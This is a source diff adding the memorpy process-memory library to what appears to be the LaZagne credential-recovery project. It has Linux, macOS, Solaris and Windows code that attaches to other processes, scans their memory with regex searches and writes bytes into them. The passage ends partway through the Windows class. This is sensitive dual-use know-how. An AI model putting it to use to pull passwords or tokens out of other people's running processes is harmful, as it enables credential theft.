def pid_from_name(name):
|
||||
#quick and dirty, works with all linux not depending on ps output
|
||||
for pid in os.listdir("/proc"):
|
||||
try:
|
||||
int(pid)
|
||||
except:
|
||||
continue
|
||||
pname=""
|
||||
with open("/proc/%s/cmdline"%pid,'r') as f:
|
||||
pname=f.read()
|
||||
if name in pname:
|
||||
return int(pid)
|
||||
raise ProcessException("No process with such name: %s"%name)
|
||||
|
||||
## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH.
|
||||
def _ptrace(self, attach):
|
||||
op = ctypes.c_int(PTRACE_ATTACH if attach else PTRACE_DETACH)
|
||||
c_pid = c_pid_t(self.pid)
|
||||
null = ctypes.c_void_p()
|
||||
|
||||
if not attach:
|
||||
os.kill(self.pid, signal.SIGSTOP)
|
||||
os.waitpid(self.pid, 0)
|
||||
|
||||
err = c_ptrace(op, c_pid, null, null)
|
||||
|
||||
if not attach:
|
||||
os.kill(self.pid, signal.SIGCONT)
|
||||
|
||||
if err != 0:
|
||||
raise OSError("%s: %s"%(
|
||||
'PTRACE_ATTACH' if attach else 'PTRACE_DETACH',
|
||||
errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN')
|
||||
))
|
||||
|
||||
def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):
|
||||
"""
|
||||
optimizations :
|
||||
i for inode==0 (no file mapping)
|
||||
s to avoid scanning shared regions
|
||||
x to avoid scanning x regions
|
||||
r don't scan ronly regions
|
||||
"""
|
||||
with open("/proc/" + str(self.pid) + "/maps", 'r') as maps_file:
|
||||
for line in maps_file:
|
||||
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+)\s+([-rwpsx]+)\s+([0-9A-Fa-f]+)\s+([0-9A-Fa-f]+:[0-9A-Fa-f]+)\s+([0-9]+)\s*(.*)', line)
|
||||
if not m:
|
||||
continue
|
||||
start, end, region_protec, offset, dev, inode, pathname = int(m.group(1), 16), int(m.group(2), 16), m.group(3), m.group(4), m.group(5), int(m.group(6)), m.group(7)
|
||||
if start_offset is not None:
|
||||
if start < start_offset:
|
||||
continue
|
||||
if end_offset is not None:
|
||||
if start > end_offset:
|
||||
continue
|
||||
chunk=end-start
|
||||
if 'r' in region_protec: # TODO: handle protec parameter
|
||||
if optimizations:
|
||||
if 'i' in optimizations and inode != 0:
|
||||
continue
|
||||
if 's' in optimizations and 's' in region_protec:
|
||||
continue
|
||||
if 'x' in optimizations and 'x' in region_protec:
|
||||
continue
|
||||
if 'r' in optimizations and not 'w' in region_protec:
|
||||
continue
|
||||
yield start, chunk
|
||||
|
||||
def ptrace_attach(self):
|
||||
if not self.ptrace_started:
|
||||
res=self._ptrace(True)
|
||||
self.ptrace_started=True
|
||||
return res
|
||||
|
||||
def ptrace_detach(self):
|
||||
if self.ptrace_started:
|
||||
res=self._ptrace(False)
|
||||
self.ptrace_started=False
|
||||
return res
|
||||
|
||||
def write_bytes(self, address, data):
|
||||
if not self.ptrace_started:
|
||||
self.ptrace_attach()
|
||||
|
||||
c_pid = c_pid_t(self.pid)
|
||||
null = ctypes.c_void_p()
|
||||
|
||||
|
||||
#we can only copy data per range of 4 or 8 bytes
|
||||
word_size=ctypes.sizeof(ctypes.c_void_p)
|
||||
#mprotect(address, len(data)+(len(data)%word_size), PROT_WRITE|PROT_READ)
|
||||
for i in range(0, len(data), word_size):
|
||||
word=data[i:i+word_size]
|
||||
if len(word)<word_size: #we need to let some data untouched, so let's read at given offset to complete our 8 bytes
|
||||
existing_data=self.read_bytes(int(address)+i+len(word), bytes=(word_size-len(word)))
|
||||
word+=existing_data
|
||||
if sys.byteorder=="little":
|
||||
word=word[::-1]
|
||||
|
||||
attempt=0
|
||||
err = c_ptrace(ctypes.c_int(PTRACE_POKEDATA), c_pid, int(address)+i, int(word.encode("hex"), 16))
|
||||
if err != 0:
|
||||
error=errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN')
|
||||
raise OSError("Error using PTRACE_POKEDATA: %s"%error)
|
||||
|
||||
self.ptrace_detach()
|
||||
return True
|
||||
|
||||
def read_bytes(self, address, bytes = 4):
|
||||
if self.read_ptrace:
|
||||
self.ptrace_attach()
|
||||
data=b''
|
||||
if not LARGE_FILE_SUPPORT:
|
||||
mem_file.seek(address)
|
||||
data=mem_file.read(bytes)
|
||||
else:
|
||||
lseek64(self.mem_file, address, os.SEEK_SET)
|
||||
data=b""
|
||||
try:
|
||||
data=os.read(self.mem_file, bytes)
|
||||
except Exception as e:
|
||||
logger.info("Error reading %s at %s: %s"%((bytes),address, e))
|
||||
if self.read_ptrace:
|
||||
self.ptrace_detach()
|
||||
return data
|
20
lazagne/config/lib/memorpy/LinStructures.py
Normal file
20
lazagne/config/lib/memorpy/LinStructures.py
Normal file
@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
|
||||
PROT_NONE = 0
|
||||
PROT_READ = 1
|
||||
PROT_WRITE = 2
|
||||
PROT_EXEC = 4
|
||||
PROT_PRIVATE = 8
|
||||
PROT_SHARED = 16
|
||||
|
||||
#Use some Windows constants for compatibility
|
||||
PAGE_EXECUTE_READWRITE = PROT_EXEC | PROT_READ | PROT_WRITE
|
||||
PAGE_EXECUTE_READ = PROT_EXEC | PROT_READ
|
||||
PAGE_READONLY = PROT_READ
|
||||
PAGE_READWRITE = PROT_READ | PROT_WRITE
|
||||
|
||||
PTRACE_POKEDATA = 5
|
||||
PTRACE_ATTACH = 16
|
||||
PTRACE_DETACH =17
|
||||
PTRACE_CONT = 7
|
96
lazagne/config/lib/memorpy/Locator.py
Normal file
96
lazagne/config/lib/memorpy/Locator.py
Normal file
@ -0,0 +1,96 @@
|
||||
# Author: Nicolas VERDIER
|
||||
# This file is part of memorpy.
|
||||
#
|
||||
# memorpy is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# memorpy is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import copy
|
||||
import time
|
||||
import struct
|
||||
|
||||
from .Address import Address
|
||||
|
||||
|
||||
class Locator(object):
|
||||
"""
|
||||
take a memoryworker and a type to search
|
||||
then you can feed the locator with values and it will reduce the addresses possibilities
|
||||
"""
|
||||
|
||||
def __init__(self, mw, type = 'unknown', start = None, end = None):
|
||||
self.mw = mw
|
||||
self.type = type
|
||||
self.last_iteration = {}
|
||||
self.last_value = None
|
||||
self.start = start
|
||||
self.end = end
|
||||
|
||||
def find(self, value, erase_last = True):
|
||||
return self.feed(value, erase_last)
|
||||
|
||||
def feed(self, value, erase_last = True):
|
||||
self.last_value = value
|
||||
new_iter = copy.copy(self.last_iteration)
|
||||
if self.type == 'unknown':
|
||||
all_types = ['uint',
|
||||
'int',
|
||||
'long',
|
||||
'ulong',
|
||||
'float',
|
||||
'double',
|
||||
'short',
|
||||
'ushort']
|
||||
else:
|
||||
all_types = [self.type]
|
||||
for type in all_types:
|
||||
if type not in new_iter:
|
||||
try:
|
||||
new_iter[type] = [ Address(x, self.mw.process, type) for x in self.mw.mem_search(value, type, start_offset=self.start, end_offset=self.end) ]
|
||||
except struct.error:
|
||||
new_iter[type] = []
|
||||
else:
|
||||
l = []
|
||||
for address in new_iter[type]:
|
||||
try:
|
||||
found = self.mw.process.read(address, type)
|
||||
if int(found) == int(value):
|
||||
l.append(Address(address, self.mw.process, type))
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
new_iter[type] = l
|
||||
|
||||
if erase_last:
|
||||
del self.last_iteration
|
||||
self.last_iteration = new_iter
|
||||
return new_iter
|
||||
|
||||
def get_addresses(self):
|
||||
return self.last_iteration
|
||||
|
||||
def diff(self, erase_last = False):
|
||||
return self.get_modified_addr(erase_last)
|
||||
|
||||
def get_modified_addr(self, erase_last = False):
|
||||
last = self.last_iteration
|
||||
new = self.feed(self.last_value, erase_last=erase_last)
|
||||
ret = {}
|
||||
for type, l in last.iteritems():
|
||||
typeset = set(new[type])
|
||||
for addr in l:
|
||||
if addr not in typeset:
|
||||
if type not in ret:
|
||||
ret[type] = []
|
||||
ret[type].append(addr)
|
||||
|
||||
return ret
|
226
lazagne/config/lib/memorpy/MemWorker.py
Normal file
226
lazagne/config/lib/memorpy/MemWorker.py
Normal file
@ -0,0 +1,226 @@
|
||||
# Author: Nicolas VERDIER
|
||||
# This file is part of memorpy.
|
||||
#
|
||||
# memorpy is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# memorpy is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys
|
||||
import string
|
||||
import re
|
||||
import logging
|
||||
import traceback
|
||||
import binascii
|
||||
import struct
|
||||
|
||||
from .Process import *
|
||||
from .utils import *
|
||||
from .Address import Address
|
||||
from .BaseProcess import ProcessException
|
||||
from .structures import *
|
||||
|
||||
logger = logging.getLogger('memorpy')
|
||||
|
||||
REGEX_TYPE=type(re.compile("^plop$"))
|
||||
class MemWorker(object):
|
||||
|
||||
def __init__(self, pid=None, name=None, end_offset = None, start_offset = None, debug=True):
|
||||
self.process = Process(name=name, pid=pid, debug=debug)
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, type, value, traceback):
|
||||
self.process.close()
|
||||
|
||||
def Address(self, value, default_type = 'uint'):
|
||||
""" wrapper to instanciate an Address class for the memworker.process"""
|
||||
return Address(value, process=self.process, default_type=default_type)
|
||||
|
||||
def umem_replace(self, regex, replace):
|
||||
""" like search_replace_mem but works with unicode strings """
|
||||
regex = re_to_unicode(regex)
|
||||
replace = replace.encode('utf-16-le')
|
||||
return self.mem_replace(re.compile(regex, re.UNICODE), replace)
|
||||
|
||||
def mem_replace(self, regex, replace):
|
||||
""" search memory for a pattern and replace all found occurrences """
|
||||
allWritesSucceed = True
|
||||
for _, start_offset in self.mem_search(regex, ftype='re'):
|
||||
if self.process.write_bytes(start_offset, replace) == 1:
|
||||
logger.debug('Write at offset %s succeeded !' % start_offset)
|
||||
else:
|
||||
allWritesSucceed = False
|
||||
logger.debug('Write at offset %s failed !' % start_offset)
|
||||
|
||||
return allWritesSucceed
|
||||
|
||||
def umem_search(self, regex):
|
||||
""" like mem_search but works with unicode strings """
|
||||
regex = re_to_unicode(regex)
|
||||
for _, i in self.mem_search(str(regex), ftype='re'):
|
||||
yield i
|
||||
|
||||
def group_search(self, group, start_offset = None, end_offset = None):
|
||||
regex = ''
|
||||
for value, type in group:
|
||||
if type == 'f' or type == 'float':
|
||||
f = struct.pack('<f', float(value))
|
||||
regex += '..' + f[2:4]
|
||||
else:
|
||||
raise NotImplementedError('unknown type %s' % type)
|
||||
|
||||
return self.mem_search(regex, ftype='re', start_offset=start_offset, end_offset=end_offset)
|
||||
|
||||
def search_address(self, addr):
|
||||
a = '%08X' % addr
|
||||
logger.debug('searching address %s' % a)
|
||||
regex = ''
|
||||
for i in range(len(a) - 2, -1, -2):
|
||||
regex += binascii.unhexlify(a[i:i + 2])
|
||||
|
||||
for _, a in self.mem_search(re.escape(regex), ftype='re'):
|
||||
yield a
|
||||
|
||||
def parse_re_function(self, b, value, offset):
|
||||
for name, regex in value:
|
||||
for res in regex.finditer(b):
|
||||
yield name, self.Address(offset+res.start(), 'bytes')
|
||||
"""
|
||||
index = b.find(res)
|
||||
while index != -1:
|
||||
soffset = offset + index
|
||||
if soffset not in duplicates_cache:
|
||||
duplicates_cache.add(soffset)
|
||||
yield name, self.Address(soffset, 'bytes')
|
||||
index = b.find(res, index + len(res))
|
||||
"""
|
||||
|
||||
def parse_float_function(self, b, value, offset):
|
||||
for index in range(0, len(b)):
|
||||
try:
|
||||
structtype, structlen = type_unpack('float')
|
||||
tmpval = struct.unpack(structtype, b[index:index + 4])[0]
|
||||
if int(value) == int(tmpval):
|
||||
soffset = offset + index
|
||||
yield self.Address(soffset, 'float')
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
def parse_named_groups_function(self, b, value, offset=None):
|
||||
for name, regex in value:
|
||||
for res in regex.finditer(b):
|
||||
yield name, res.groupdict()
|
||||
|
||||
def parse_groups_function(self, b, value, offset=None):
|
||||
for name, regex in value:
|
||||
for res in regex.finditer(b):
|
||||
yield name, res.groups()
|
||||
|
||||
def parse_any_function(self, b, value, offset):
|
||||
index = b.find(value)
|
||||
while index != -1:
|
||||
soffset = offset + index
|
||||
yield self.Address(soffset, 'bytes')
|
||||
index = b.find(value, index + 1)
|
||||
|
||||
def mem_search(self, value, ftype = 'match', protec = PAGE_READWRITE | PAGE_READONLY, optimizations=None, start_offset = None, end_offset = None):
|
||||
"""
|
||||
iterator returning all indexes where the pattern has been found
|
||||
"""
|
||||
|
||||
# pre-compile regex to run faster
|
||||
if ftype == 're' or ftype == 'groups' or ftype == 'ngroups':
|
||||
|
||||
# value should be an array of regex
|
||||
if type(value) is not list:
|
||||
value = [value]
|
||||
|
||||
tmp = []
|
||||
for reg in value:
|
||||
if type(reg) is tuple:
|
||||
name = reg[0]
|
||||
if type(reg[1]) != REGEX_TYPE:
|
||||
regex = re.compile(reg[1], re.IGNORECASE)
|
||||
else:
|
||||
regex=reg[1]
|
||||
elif type(reg) == REGEX_TYPE:
|
||||
name = ''
|
||||
regex=reg
|
||||
else:
|
||||
name = ''
|
||||
regex = re.compile(reg, re.IGNORECASE)
|
||||
|
||||
|
||||
tmp.append((name, regex))
|
||||
value = tmp
|
||||
|
||||
elif ftype != 'match' and ftype != 'group' and ftype != 're' and ftype != 'groups' and ftype != 'ngroups' and ftype != 'lambda':
|
||||
structtype, structlen = type_unpack(ftype)
|
||||
value = struct.pack(structtype, value)
|
||||
|
||||
# different functions avoid if statement before parsing the buffer
|
||||
if ftype == 're':
|
||||
func = self.parse_re_function
|
||||
|
||||
elif ftype == 'groups':
|
||||
func = self.parse_groups_function
|
||||
|
||||
elif ftype == 'ngroups':
|
||||
func = self.parse_named_groups_function
|
||||
|
||||
elif ftype == 'float':
|
||||
func = self.parse_float_function
|
||||
elif ftype == 'lambda': # use a custm function
|
||||
func = value
|
||||
else:
|
||||
func = self.parse_any_function
|
||||
|
||||
if not self.process.isProcessOpen:
|
||||
raise ProcessException("Can't read_bytes, process %s is not open" % (self.process.pid))
|
||||
|
||||
for offset, chunk_size in self.process.iter_region(start_offset=start_offset, end_offset=end_offset, protec=protec, optimizations=optimizations):
|
||||
b = b''
|
||||
current_offset = offset
|
||||
chunk_read = 0
|
||||
chunk_exc = False
|
||||
while chunk_read < chunk_size:
|
||||
try:
|
||||
b += self.process.read_bytes(current_offset, chunk_size)
|
||||
except IOError as e:
|
||||
print(traceback.format_exc())
|
||||
if e.errno == 13:
|
||||
raise
|
||||
else:
|
||||
logger.warning(e)
|
||||
chunk_exc=True
|
||||
break
|
||||
except Exception as e:
|
||||
print('coucou')
|
||||
logger.warning(e)
|
||||
chunk_exc = True
|
||||
break
|
||||
finally:
|
||||
current_offset += chunk_size
|
||||
chunk_read += chunk_size
|
||||
|
||||
if chunk_exc:
|
||||
continue
|
||||
|
||||
if b:
|
||||
if ftype=="lambda":
|
||||
for res in func(b.decode('latin'), offset):
|
||||
yield res
|
||||
else:
|
||||
for res in func(b.decode('latin'), value, offset):
|
||||
yield res
|
||||
|
||||
|
174
lazagne/config/lib/memorpy/OSXProcess.py
Normal file
174
lazagne/config/lib/memorpy/OSXProcess.py
Normal file
@ -0,0 +1,174 @@
|
||||
# Author: Nicolas VERDIER
|
||||
# This file is part of memorpy.
|
||||
#
|
||||
# memorpy is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# memorpy is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import copy
|
||||
import struct
|
||||
import utils
|
||||
import platform
|
||||
import ctypes, re, sys
|
||||
import ctypes.util
|
||||
import errno
|
||||
import os
|
||||
import signal
|
||||
from .BaseProcess import BaseProcess, ProcessException
|
||||
from .structures import *
|
||||
import logging
|
||||
import subprocess
|
||||
|
||||
logger = logging.getLogger('memorpy')
|
||||
|
||||
libc = ctypes.CDLL(ctypes.util.find_library('c'))
|
||||
|
||||
VM_REGION_BASIC_INFO_64 = 9
|
||||
|
||||
class vm_region_basic_info_64(ctypes.Structure):
|
||||
_fields_ = [
|
||||
('protection', ctypes.c_uint32),
|
||||
('max_protection', ctypes.c_uint32),
|
||||
('inheritance', ctypes.c_uint32),
|
||||
('shared', ctypes.c_uint32),
|
||||
('reserved', ctypes.c_uint32),
|
||||
('offset', ctypes.c_ulonglong),
|
||||
('behavior', ctypes.c_uint32),
|
||||
('user_wired_count',ctypes.c_ushort),
|
||||
]
|
||||
|
||||
VM_REGION_BASIC_INFO_COUNT_64 = ctypes.sizeof(vm_region_basic_info_64) / 4
|
||||
|
||||
VM_PROT_READ = 1
|
||||
VM_PROT_WRITE = 2
|
||||
VM_PROT_EXECUTE = 4
|
||||
|
||||
class OSXProcess(BaseProcess):
|
||||
def __init__(self, pid=None, name=None, debug=True):
|
||||
""" Create and Open a process object from its pid or from its name """
|
||||
super(OSXProcess, self).__init__()
|
||||
if pid is not None:
|
||||
self.pid=pid
|
||||
elif name is not None:
|
||||
self.pid=OSXProcess.pid_from_name(name)
|
||||
else:
|
||||
raise ValueError("You need to instanciate process with at least a name or a pid")
|
||||
self.task=None
|
||||
self.mytask=None
|
||||
self._open()
|
||||
|
||||
def close(self):
|
||||
pass
|
||||
|
||||
def __del__(self):
|
||||
pass
|
||||
|
||||
def _open(self):
|
||||
self.isProcessOpen = True
|
||||
self.task = ctypes.c_uint32()
|
||||
self.mytask=libc.mach_task_self()
|
||||
ret=libc.task_for_pid(self.mytask, ctypes.c_int(self.pid), ctypes.pointer(self.task))
|
||||
if ret!=0:
|
||||
raise ProcessException("task_for_pid failed with error code : %s"%ret)
|
||||
|
||||
@staticmethod
|
||||
def list():
|
||||
#TODO list processes with ctypes
|
||||
processes=[]
|
||||
res=subprocess.check_output("ps A", shell=True)
|
||||
for line in res.split('\n'):
|
||||
try:
|
||||
tab=line.split()
|
||||
pid=int(tab[0])
|
||||
exe=' '.join(tab[4:])
|
||||
processes.append({"pid":int(pid), "name":exe})
|
||||
except:
|
||||
pass
|
||||
return processes
|
||||
|
||||
@staticmethod
|
||||
def pid_from_name(name):
|
||||
for dic in OSXProcess.list():
|
||||
if name in dic['exe']:
|
||||
return dic['pid']
|
||||
|
||||
|
||||
def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):
|
||||
"""
|
||||
optimizations :
|
||||
i for inode==0 (no file mapping)
|
||||
s to avoid scanning shared regions
|
||||
x to avoid scanning x regions
|
||||
r don't scan ronly regions
|
||||
"""
|
||||
maps = []
|
||||
address = ctypes.c_ulong(0)
|
||||
mapsize = ctypes.c_ulong(0)
|
||||
name = ctypes.c_uint32(0)
|
||||
count = ctypes.c_uint32(VM_REGION_BASIC_INFO_COUNT_64)
|
||||
info = vm_region_basic_info_64()
|
||||
|
||||
while True:
|
||||
r = libc.mach_vm_region(self.task, ctypes.pointer(address),
|
||||
ctypes.pointer(mapsize), VM_REGION_BASIC_INFO_64,
|
||||
ctypes.pointer(info), ctypes.pointer(count),
|
||||
ctypes.pointer(name))
|
||||
# If we get told "invalid address", we have crossed into kernel land...
|
||||
if r == 1:
|
||||
break
|
||||
|
||||
if r != 0:
|
||||
raise ProcessException('mach_vm_region failed with error code %s' % r)
|
||||
if start_offset is not None:
|
||||
if address.value < start_offset:
|
||||
address.value += mapsize.value
|
||||
continue
|
||||
if end_offset is not None:
|
||||
if address.value > end_offset:
|
||||
break
|
||||
p = info.protection
|
||||
if p & VM_PROT_EXECUTE:
|
||||
if optimizations and 'x' in optimizations:
|
||||
address.value += mapsize.value
|
||||
continue
|
||||
if info.shared:
|
||||
if optimizations and 's' in optimizations:
|
||||
address.value += mapsize.value
|
||||
continue
|
||||
if p & VM_PROT_READ:
|
||||
if not (p & VM_PROT_WRITE):
|
||||
if optimizations and 'r' in optimizations:
|
||||
address.value += mapsize.value
|
||||
continue
|
||||
yield address.value, mapsize.value
|
||||
|
||||
address.value += mapsize.value
|
||||
|
||||
|
||||
def write_bytes(self, address, data):
|
||||
raise NotImplementedError("write not implemented on OSX")
|
||||
return True
|
||||
|
||||
def read_bytes(self, address, bytes = 4):
|
||||
pdata = ctypes.c_void_p(0)
|
||||
data_cnt = ctypes.c_uint32(0)
|
||||
|
||||
ret = libc.mach_vm_read(self.task, ctypes.c_ulonglong(address), ctypes.c_longlong(bytes), ctypes.pointer(pdata), ctypes.pointer(data_cnt));
|
||||
#if ret==1:
|
||||
# return ""
|
||||
if ret!=0:
|
||||
raise ProcessException("mach_vm_read returned : %s"%ret)
|
||||
buf=ctypes.string_at(pdata.value, data_cnt.value)
|
||||
libc.vm_deallocate(self.mytask, pdata, data_cnt)
|
||||
return buf
|
||||
|
||||
|
13
lazagne/config/lib/memorpy/Process.py
Normal file
13
lazagne/config/lib/memorpy/Process.py
Normal file
@ -0,0 +1,13 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
|
||||
import sys
|
||||
from .BaseProcess import *
|
||||
if sys.platform=='win32':
|
||||
from .WinProcess import WinProcess as Process
|
||||
elif sys.platform=='darwin':
|
||||
from .OSXProcess import OSXProcess as Process
|
||||
elif 'sunos' in sys.platform:
|
||||
from .SunProcess import SunProcess as Process
|
||||
else:
|
||||
from .LinProcess import LinProcess as Process
|
167
lazagne/config/lib/memorpy/SunProcess.py
Normal file
167
lazagne/config/lib/memorpy/SunProcess.py
Normal file
@ -0,0 +1,167 @@
|
||||
# This file is part of memorpy.
|
||||
#
|
||||
# memorpy is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# memorpy is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
from .BaseProcess import BaseProcess, ProcessException
|
||||
import struct
|
||||
import os
|
||||
|
||||
MA_READ = 0x04
|
||||
MA_WRITE = 0x02
|
||||
MA_EXEC = 0x01
|
||||
MA_SHARED = 0x08
|
||||
MA_ANON = 0x40
|
||||
MA_ISM = 0x80
|
||||
MA_NORESERVE = 0x100
|
||||
MA_SHM = 0x200
|
||||
MA_RESERVED1 = 0x400
|
||||
MA_OSM = 0x800
|
||||
|
||||
PSINFO_T = struct.Struct(
|
||||
'iiiIIIIIIIILLLLHHLLLLLL16s80siiLLciILLcccchi8sLLIIIIII'
|
||||
)
|
||||
|
||||
MAP_T = struct.Struct(
|
||||
'LL64sQiiii'
|
||||
)
|
||||
|
||||
class SunProcess(BaseProcess):
|
||||
def __init__(self, pid=None, name=None, debug=True, ptrace=None):
|
||||
''' Create and Open a process object from its pid or from its name '''
|
||||
super(SunProcess, self).__init__()
|
||||
self.pid = int(pid)
|
||||
self.pas = None
|
||||
self.writable = False
|
||||
if name and not self.pid:
|
||||
self.pid = SunProcess.pid_from_name(name)
|
||||
if not name and not self.pid:
|
||||
raise ValueError('You need to instanciate process with at least a name or a pid')
|
||||
try:
|
||||
self._open()
|
||||
except:
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
if self.pas:
|
||||
self.pas.close()
|
||||
|
||||
def __del__(self):
|
||||
self.close()
|
||||
|
||||
def _open(self):
|
||||
try:
|
||||
self.pas = open('/proc/%d/as'%(self.pid), 'w+')
|
||||
self.writable = True
|
||||
except IOError:
|
||||
self.pas = open('/proc/%d/as'%(self.pid))
|
||||
|
||||
self.isProcessOpen = True
|
||||
|
||||
@staticmethod
|
||||
def _name_args(pid):
|
||||
with open('/proc/%d/psinfo'%(int(pid))) as psinfo:
|
||||
items = PSINFO_T.unpack_from(psinfo.read())
|
||||
return items[23].rstrip('\x00'), items[24].rstrip('\x00')
|
||||
|
||||
@staticmethod
|
||||
def list():
|
||||
processes=[]
|
||||
for pid in os.listdir('/proc'):
|
||||
try:
|
||||
pid = int(pid)
|
||||
name, _ = SunProcess._name_args(pid)
|
||||
processes.append({
|
||||
'pid': pid,
|
||||
'name': name
|
||||
})
|
||||
except:
|
||||
pass
|
||||
|
||||
return processes
|
||||
|
||||
@staticmethod
|
||||
def pid_from_name(name):
|
||||
processes=[]
|
||||
for pid in os.listdir('/proc'):
|
||||
try:
|
||||
pid = int(pid)
|
||||
pname, cmdline = SunProcess._name_args(pid)
|
||||
if name in pname:
|
||||
return pid
|
||||
if name in cmdline.split(' ', 1)[0]:
|
||||
return pid
|
||||
except:
|
||||
pass
|
||||
|
||||
raise ProcessException('No process with such name: %s'%name)
|
||||
|
||||
def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):
|
||||
"""
|
||||
optimizations :
|
||||
i for inode==0 (no file mapping)
|
||||
s to avoid scanning shared regions
|
||||
x to avoid scanning x regions
|
||||
r don't scan ronly regions
|
||||
"""
|
||||
if not self.isProcessOpen:
|
||||
return
|
||||
|
||||
with open('/proc/%d/map'%(self.pid)) as maps_file:
|
||||
while True:
|
||||
mapping = maps_file.read(MAP_T.size)
|
||||
|
||||
if not mapping:
|
||||
break
|
||||
|
||||
start, size, name, offset, flags, pagesize, shmid, filler = MAP_T.unpack(mapping)
|
||||
|
||||
if start_offset is not None:
|
||||
if start < start_offset:
|
||||
continue
|
||||
|
||||
if end_offset is not None:
|
||||
if start > end_offset:
|
||||
continue
|
||||
|
||||
if not flags & MA_READ:
|
||||
continue
|
||||
|
||||
if optimizations:
|
||||
if 'i' in optimizations and not flags & MA_ANON:
|
||||
continue
|
||||
if 's' in optimizations and flags & MA_SHM:
|
||||
continue
|
||||
# in sunos it's quite common when this flag is set, so let's use other letter
|
||||
if 'X' in optimizations and flags & MA_EXEC:
|
||||
continue
|
||||
if 'r' in optimizations and not flags & MA_WRITE:
|
||||
continue
|
||||
|
||||
yield start, size
|
||||
|
||||
def write_bytes(self, address, data):
|
||||
if not self.pas or not self.writable:
|
||||
return False
|
||||
|
||||
self.pas.seek(address)
|
||||
self.pas.write(data)
|
||||
|
||||
return True
|
||||
|
||||
def read_bytes(self, address, bytes = 4):
|
||||
if not self.pas:
|
||||
return
|
||||
|
||||
self.pas.seek(address)
|
||||
return self.pas.read(bytes)
|
312
lazagne/config/lib/memorpy/WinProcess.py
Normal file
312
lazagne/config/lib/memorpy/WinProcess.py
Normal file
@ -0,0 +1,312 @@
|
||||
# Author: Nicolas VERDIER
|
||||
# This file is part of memorpy.
|
||||
#
|
||||
# memorpy is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# memorpy is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
from ctypes import pointer, sizeof, windll, create_string_buffer, c_ulong, byref, GetLastError, c_bool, WinError
|
||||
from .structures import *
|
||||
import copy
|
||||
import struct
|
||||
# import utils
|
||||
import platform
|
||||
from .BaseProcess import BaseProcess, ProcessException
|
||||
|
||||
psapi = windll.psapi
|
||||
kernel32 = windll.kernel32
|
||||
advapi32 = windll.advapi32
|
||||
|
||||
IsWow64Process=None
|
||||
if hasattr(kernel32,'IsWow64Process'):
|
||||
IsWow64Process=kernel32.IsWow64Process
|
||||
IsWow64Process.restype = c_bool
|
||||
IsWow64Process.argtypes = [c_void_p, POINTER(c_bool)]
|
||||
|
||||
class WinProcess(BaseProcess):
|
||||
|
||||
def __init__(self, pid=None, name=None, debug=True):
|
||||
""" Create and Open a process object from its pid or from its name """
|
||||
super(WinProcess, self).__init__()
|
||||
if pid:
|
||||
self._open(int(pid), debug=debug)
|
||||
|
||||
elif name:
|
||||
self._open_from_name(name, debug=debug)
|
||||
else:
|
||||
raise ValueError("You need to instanciate process with at least a name or a pid")
|
||||
|
||||
if self.is_64bit():
|
||||
si = self.GetNativeSystemInfo()
|
||||
self.max_addr = si.lpMaximumApplicationAddress
|
||||
else:
|
||||
si = self.GetSystemInfo()
|
||||
